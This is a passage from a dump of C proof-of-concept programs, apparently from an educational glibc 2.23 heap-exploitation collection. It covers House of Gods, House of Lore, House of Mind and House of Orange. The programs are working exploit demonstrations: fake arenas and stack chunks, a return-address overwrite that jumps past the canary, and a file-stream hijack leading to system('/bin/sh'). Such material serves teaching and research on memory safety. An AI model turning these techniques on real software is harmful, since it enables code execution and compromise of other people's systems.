at\\n\");\n    printf(\"offset 0x868 points initially to the start of the main_arena itself. This fact\\n\");\n    printf(\"makes it possible to pass the partial unlinking without segfaulting.\\n\\n\");\n\n    printf(\"So now that we have crafted our binmap-chunk, it is time to allocate it\\n\");\n    printf(\"from the unsorted bin. For that, we will abuse a write-after-free bug\\n\");\n    printf(\"on an unsorted chunk. Let us start...\\n\\n\");\n\n    printf(\"First, allocate another smallchunk...\\n\");\n\n    /*\n     * recycle our previously binned smallchunk.\n     * Note that, it is not neccessary to recycle this\n     * chunk. I am doing it only to keep the heap layout\n     * small and compact.\n     * */\n    SMALLCHUNK = malloc(0x88);\n\n    printf(\"...and now move our new chunk to the unsorted bin...\\n\");\n\n    /*\n     * put SMALLCHUNK into the unsorted bin.\n     * */\n    free(SMALLCHUNK);\n\n    printf(\"...in order to tamper with the free'd chunk's bk pointer.\\n\\n\");\n\n    /*\n     * bug: a single write-after-free bug on an\n     * unsorted chunk is enough to initiate the\n     * House of Gods technique.\n     * */\n    *((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;\n\n    printf(\"Great. We have redirected the unsorted bin to our binmap-chunk.\\n\");\n    printf(\"But we also have corrupted the bin. Let's fix this, by redirecting\\n\");\n    printf(\"a second time.\\n\\n\");\n\n    printf(\"The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\\n\");\n    printf(\"of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\\n\");\n    printf(\"in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\\n\");\n    printf(\"point to another allocated chunk (INTM) by writing to its bk pointer before\\n\");\n    printf(\"actually free'ing it.\\n\\n\");\n\n    /*\n     * before free'ing those chunks, let us write\n     * the address of another chunk to the currently\n     * unused bk pointer of FAST40. We can reuse\n     * the previously requested INTM chunk for that.\n     *\n     * Free'ing FAST40 wont reset the bk pointer, thus\n     * we can let it point to an allocated chunk while\n     * having it stored in one of the fastbins.\n     *\n     * The reason behind this, is the simple fact that\n     * we will need to perform an unsorted bin attack later.\n     * And we can not request a 0x40-chunk to trigger the\n     * partial unlinking, since a 0x40 request will be serviced\n     * from the fastbins instead of the unsorted bin.\n     * */\n    *((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);\n\n    /*\n     * and now free the 0x20-chunk in order to forge a sizefield.\n     * */\n    free(FAST20);\n\n    /*\n     * and the 0x40-chunk in order to forge a bk pointer.\n     * */\n    free(FAST40);\n\n    printf(\"Okay. The unsorted bin should now look like this\\n\\n\");\n\n    printf(\"head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\\n\");\n    printf(\"     bk            bk        bk            bk        bk\\n\\n\");\n\n    printf(\"The binmap attack is nearly done. The only thing left to do, is\\n\");\n    printf(\"to make a request for a size that matches the binmap-chunk's sizefield.\\n\\n\");\n\n    /*\n     * all the hard work finally pays off...we can\n     * now allocate the binmap-chunk from the unsorted bin.\n     * */\n    void *BINMAP = malloc(0x1f8);\n\n    printf(\"After allocating the binmap-chunk, the unsorted bin should look similar to this\\n\\n\");\n\n    printf(\"head -> main-arena -> FAST40 -> INTM\\n\");\n    printf(\"     bk            bk        bk\\n\\n\");\n\n    printf(\"And that is a binmap attack. We've successfully gained control over a small\\n\");\n    printf(\"number of fields within the main-arena. Two of them are crucial for\\n\");\n    printf(\"the House of Gods technique\\n\\n\");\n\n    printf(\"    -> main_arena.next\\n\");\n    printf(\"    -> main_arena.system_mem\\n\\n\");\n\n    printf(\"By tampering with the main_arena.next field, we can manipulate the arena's\\n\");\n    printf(\"linked list and insert the address of a fake arena. Once this is done,\\n\");\n    printf(\"we can trigger two calls to malloc's reused_arena() function.\\n\\n\");\n\n    printf(\"The purpose of the reused_arena() function is to return a non-corrupted,\\n\");\n    printf(\"non-locked arena from the arena linked list in case that the current\\n\");\n    printf(\"arena could not handle previous allocation request.\\n\\n\");\n\n    printf(\"The first call to reused_arena() will traverse the linked list and return\\n\");\n    printf(\"a pointer to the current main-arena.\\n\\n\");\n\n    printf(\"The second call to reused_arena() will traverse the linked list and return\\n\");\n    printf(\"a pointer to the previously injected fake arena (main_arena.next).\\n\\n\");\n\n    printf(\"We can reach the reused_arena() if we meet following conditions\\n\\n\");\n\n    printf(\"    - exceeding the total amount of arenas a process can have.\\n\");\n    printf(\"      malloc keeps track by using the narenas variable as\\n\");\n    printf(\"      an arena counter. If this counter exceeds the limit (narenas_limit),\\n\");\n    printf(\"      it will start to reuse existing arenas from the arena list instead\\n\");\n    printf(\"      of creating new ones. Luckily, we can set narenas to a very large\\n\");\n    printf(\"      value by performing an unsorted bin attack against it.\\n\\n\");\n\n    printf(\"    - force the malloc algorithm to ditch the current arena.\\n\");\n    printf(\"      When malloc notices a failure it will start a second allocation\\n\");\n    printf(\"      attempt with a different arena. We can mimic an allocation failure by\\n\");\n    printf(\"      simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\\n\\n\");\n\n    printf(\"Let us start with the unsorted bin attack. We load the address of narenas\\n\");\n    printf(\"minus 0x10 into the bk pointer of the currently allocated INTM chunk...\\n\\n\");\n\n    /*\n     * set INTM's bk to narenas-0x10. This will\n     * be our target for the unsorted bin attack.\n     * */\n    *((uint64_t*) (INTM + 0x8)) = leak - 0xa40;\n\n    printf(\"...and then manipulate the main_arena.system_mem field in order to pass the\\n\");\n    printf(\"size sanity checks for the chunk overlapping the main-arena.\\n\\n\");\n\n    /*\n     * this way we can abuse a heap pointer\n     * as a valid sizefield.\n     * */\n    *((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;\n\n    printf(\"The unsorted bin should now look like this\\n\\n\");\n\n    printf(\"head -> main-arena -> FAST40 -> INTM -> narenas-0x10\\n\");\n    printf(\"     bk            bk        bk      bk\\n\\n\");\n\n    printf(\"We can now trigger the unsorted bin attack by requesting the\\n\");\n    printf(\"INTM chunk as an exact fit.\\n\\n\");\n\n    /*\n     * request the INTM chunk from the unsorted bin\n     * in order to trigger a partial unlinking between\n     * head and narenas-0x10.\n     * */\n    INTM = malloc(0x98);\n\n    printf(\"Perfect. narenas is now set to the address of the unsorted bin's head\\n\");\n    printf(\"which should be large enough to exceed the existing arena limit.\\n\\n\");\n\n    printf(\"Let's proceed with the manipulation of the main_arena.next pointer\\n\");\n    printf(\"within our previously allocated binmap-chunk. The address we write\\n\");\n    printf(\"to this field will become the future value of thread_arena.\\n\\n\");\n\n    /*\n     * set main_arena.next to an arbitrary address. The\n     * next two calls to malloc will overwrite thread_arena\n     * with the same address. I'll reuse INTM as fake arena.\n     *\n     * Note, that INTM is not suitable as fake arena but\n     * nevertheless, it is an easy way to demonstrate that\n     * we are able to set thread_arena to an arbitrary address.\n     * */\n    *((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);\n\n    printf(\"Done. Now all what's left to do is to trigger two calls to the reused_arena()\\n\");\n    printf(\"function by making two requests for an invalid chunksize.\\n\\n\");\n\n    /*\n     * the first call will force the reused_arena()\n     * function to set thread_arena to the address of\n     * the current main-arena.\n     * */\n    malloc(0xffffffffffffffbf + 1);\n\n    /*\n     * the second call will force the reused_arena()\n     * function to set thread_arena to the address stored\n     * in main_arena.next - our fake arena.\n     * */\n    malloc(0xffffffffffffffbf + 1);\n\n    printf(\"We did it. We hijacked the thread_arena symbol and from now on memory\\n\");\n    printf(\"requests will be serviced by our fake arena. Let's check this out\\n\");\n    printf(\"by allocating a fakechunk on the stack from one of the fastbins\\n\");\n    printf(\"of our new fake arena.\\n\\n\");\n\n    /*\n     * construct a 0x70-fakechunk on the stack...\n     * */\n    uint64_t fakechunk[4] = {\n\n        0x0000000000000000, 0x0000000000000073,\n        0x4141414141414141, 0x0000000000000000\n    };\n\n    /*\n     * ...and place it in the 0x70-fastbin of our fake arena\n     * */\n    *((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);\n\n    printf(\"Fakechunk in position at stack address %p\\n\", fakechunk);\n    printf(\"Target data within the fakechunk at address %p\\n\", &fakechunk[2]);\n    printf(\"Its current value is %#lx\\n\\n\", fakechunk[2]);\n\n    printf(\"And after requesting a 0x70-chunk...\\n\");\n\n    /*\n     * use the fake arena to perform arbitrary allocations\n     * */\n    void *FAKECHUNK = malloc(0x68);\n\n    printf(\"...malloc returns us the fakechunk at %p\\n\\n\", FAKECHUNK);\n\n    printf(\"Overwriting the newly allocated chunk changes the target\\n\");\n    printf(\"data as well: \");\n\n    /*\n     * overwriting the target data\n     * */\n    *((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;\n\n    printf(\"%#lx\\n\", fakechunk[2]);\n\n    /*\n     * confirm success\n     * */\n    assert(fakechunk[2] == 0x4242424242424242);\n\n    return EXIT_SUCCESS;\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[3] = {0};\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x28;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x880) for fake arena\\n\");\n\tfake_arena[0x880] = 0xFF;\n\tfake_arena[0x881] = 0xFF; \n\tfake_arena[0x882] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.23, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is only 0x8. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x28 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.23/house_of_orange.c",
    "content": "#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n\n/*\n  The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer\n  It requires a leak of the heap and the libc\n  Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html\n*/\n\n/*\n   This function is just present to emulate the scenario where\n   the address of the function system is known.\n*/\nint winner ( char *ptr);\n\nint main()\n{\n    /*\n      The House of Orange starts with the assumption that a buffer overflow exists on the heap\n      using which the Top (also called the Wilderness) chunk can be corrupted.\n      \n      At the beginning of execution, the entire heap is part of the Top chunk.\n      The first allocations are usually pieces of the Top chunk that are broken off to service the request.\n      Thus, with every allocation, the Top chunks keeps getting smaller.\n      And in a situation where the size of the Top chunk is smaller than the requested value,\n      there are two possibilities:\n       1) Extend the Top chunk\n       2) Mmap a new page\n\n      If the size requested is smaller than 0x21000, then the former is followed.\n    */\n\n    char *p1, *p2;\n    size_t io_list_all, *top;\n\n    fprintf(stderr, \"The attack vector of this technique was removed by changing the behavior of malloc_printerr, \"\n        \"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\\n\");\n  \n    fprintf(stderr, \"Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,\"\n        \"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\\n\");\n\n    /*\n      Firstly, lets allocate a chunk on the heap.\n    */\n\n    p1 = malloc(0x400-16);\n\n    /*\n       The heap is usually allocated with a top chunk of size 0x21000\n       Since we've allocate a chunk of size 0x400 already,\n       what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.\n\n       The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,\n       it must also be page aligned at the end.\n\n       Also, if a chunk that is adjacent to the Top chunk is to be freed,\n       then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.\n\n       So that means that there are two conditions that must always be true.\n        1) Top chunk + size has to be page aligned\n        2) Top chunk's prev_inuse bit has to be set.\n\n       We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.\n       What's left is 0x20c01\n\n       Now, let's satisfy the conditions\n       1) Top chunk + size has to be page aligned\n       2) Top chunk's prev_inuse bit has to be set.\n    */\n\n    top = (size_t *) ( (char *) p1 + 0x400 - 16);\n    top[1] = 0xc01;\n\n    /* \n       Now we request a chunk of size larger than the size of the Top chunk.\n       Malloc tries to service this request by extending the Top chunk\n       This forces sysmalloc to be invoked.\n\n       In the usual scenario, the heap looks like the following\n          |------------|------------|------...----|\n          |    chunk   |    chunk   | Top  ...    |\n          |------------|------------|------...----|\n      heap start                              heap end\n\n       And the new area that gets allocated is contiguous to the old heap end.\n       So the new size of the Top chunk is the sum of the old size and the newly allocated size.\n\n       In order to keep track of this change in size, malloc uses a fencepost chunk,\n       which is basically a temporary chunk.\n\n       After the size of the Top chunk has been updated, this chunk gets freed.\n\n       In our scenario however, the heap looks like\n          |------------|------------|------..--|--...--|---------|\n          |    chunk   |    chunk   | Top  ..  |  ...  | new Top |\n          |------------|------------|------..--|--...--|---------|\n     heap start                            heap end\n\n       In this situation, the new Top will be starting from an address that is adjacent to the heap end.\n       So the area between the second chunk and the heap end is unused.\n       And the old Top chunk gets freed.\n       Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,\n       it gets added to list of unsorted bins.\n       Now we request a chunk of size larger than the size of the top chunk.\n       This forces sysmalloc to be invoked.\n       And ultimately invokes _int_free\n\n       Finally the heap looks like this:\n          |------------|------------|------..--|--...--|---------|\n          |    chunk   |    chunk   | free ..  |  ...  | new Top |\n          |------------|------------|------..--|--...--|---------|\n     heap start                                             new heap end\n\n\n\n    */\n\n    p2 = malloc(0x1000);\n    /*\n      Note that the above chunk will be allocated in a different page\n      that gets mmapped. It will be placed after the old heap's end\n\n      Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins\n\n\n      Here starts phase two of the attack. We assume that we have an overflow into the old\n      top chunk so we could overwrite the chunk's size.\n      For the second phase we utilize this overflow again to overwrite the fd and bk pointer\n      of this chunk in the unsorted bin list.\n      There are two common ways to exploit the current state:\n        - Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)\n        - Use the unlinking of the chunk for an *where*-controlled write of the\n          libc's main_arena unsorted-bin-list. (requires at least one allocation)\n\n      The former attack is pretty straight forward to exploit, so we will only elaborate\n      on a variant of the latter, developed by Angelboy in the blog post linked above.\n\n      The attack is pretty stunning, as it exploits the abort call itself, which\n      is triggered when the libc detects any bogus state of the heap.\n      Whenever abort is triggered, it will flush all the file pointers by calling\n      _IO_flush_all_lockp. Eventually, walking through the linked list in\n      _IO_list_all and calling _IO_OVERFLOW on them.\n\n      The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose\n      _IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so\n      that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').\n      More about file-pointer exploitation can be found here:\n      https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/\n\n      The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they\n      currently point to the libc's main_arena.\n    */\n\n    io_list_all = top[2] + 0x9a8;\n\n    /*\n      We plan to overwrite the fd and bk pointers of the old top,\n      which has now been added to the unsorted bins.\n\n      When malloc tries to satisfy a request by splitting this free chunk\n      the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list\n      in libc's main_arena.\n\n      Note that this overwrite occurs before the sanity check and therefore, will occur in any\n      case.\n\n      Here, we require that chunk->bk->fd to be the value of _IO_list_all.\n      So, we should set chunk->bk to be _IO_list_all - 16\n    */\n \n    top[3] = io_list_all - 0x10;\n\n    /*\n      At the end, the system function will be invoked with the pointer to this file pointer.\n      If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)\n    */\n\n    memcpy( ( char *) top, \"/bin/sh\\x00\", 8);\n\n    /*\n      The function _IO_flush_all_lockp iterates through the file pointer linked-list\n      in _IO_list_all.\n      Since we can only overwrite this address with main_arena's unsorted-bin-list,\n      the idea is to get control over the memory at the corresponding fd-ptr.\n      The address of the next file pointer is located at base_address+0x68.\n      This corresponds to smallbin-4, which holds all the smallbins of\n      sizes between 90 and 98. For further information about the libc's bin organisation\n      see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/\n\n      Since we overflow the old top chunk, we also control it's size field.\n      Here it gets a little bit tricky, currently the old top chunk is in the\n      unsortedbin list. For each allocation, malloc tries to serve the chunks\n      in this list first, therefore, iterates over the list.\n      Furthermore, it will sort all non-fitting chunks into the corresponding bins.\n      If we set the size to 0x61 (97) (prev_inuse bit has to be set)\n      and trigger an non fitting smaller allocation, malloc will sort the old chunk into the\n      smallbin-4. Since this bin is currently empty the old top chunk will be the new head,\n      therefore, occupying the smallbin[4] location in the main_arena and\n      eventually representing the fake file pointer's fd-ptr.\n\n      In addition to sorting, malloc will also perform certain size checks on them,\n      so after sorting the old top chunk and following the bogus fd pointer\n      to _IO_list_all, it will check the corresponding size field, detect\n      that the size is smaller than MINSIZE \"size <= 2 * 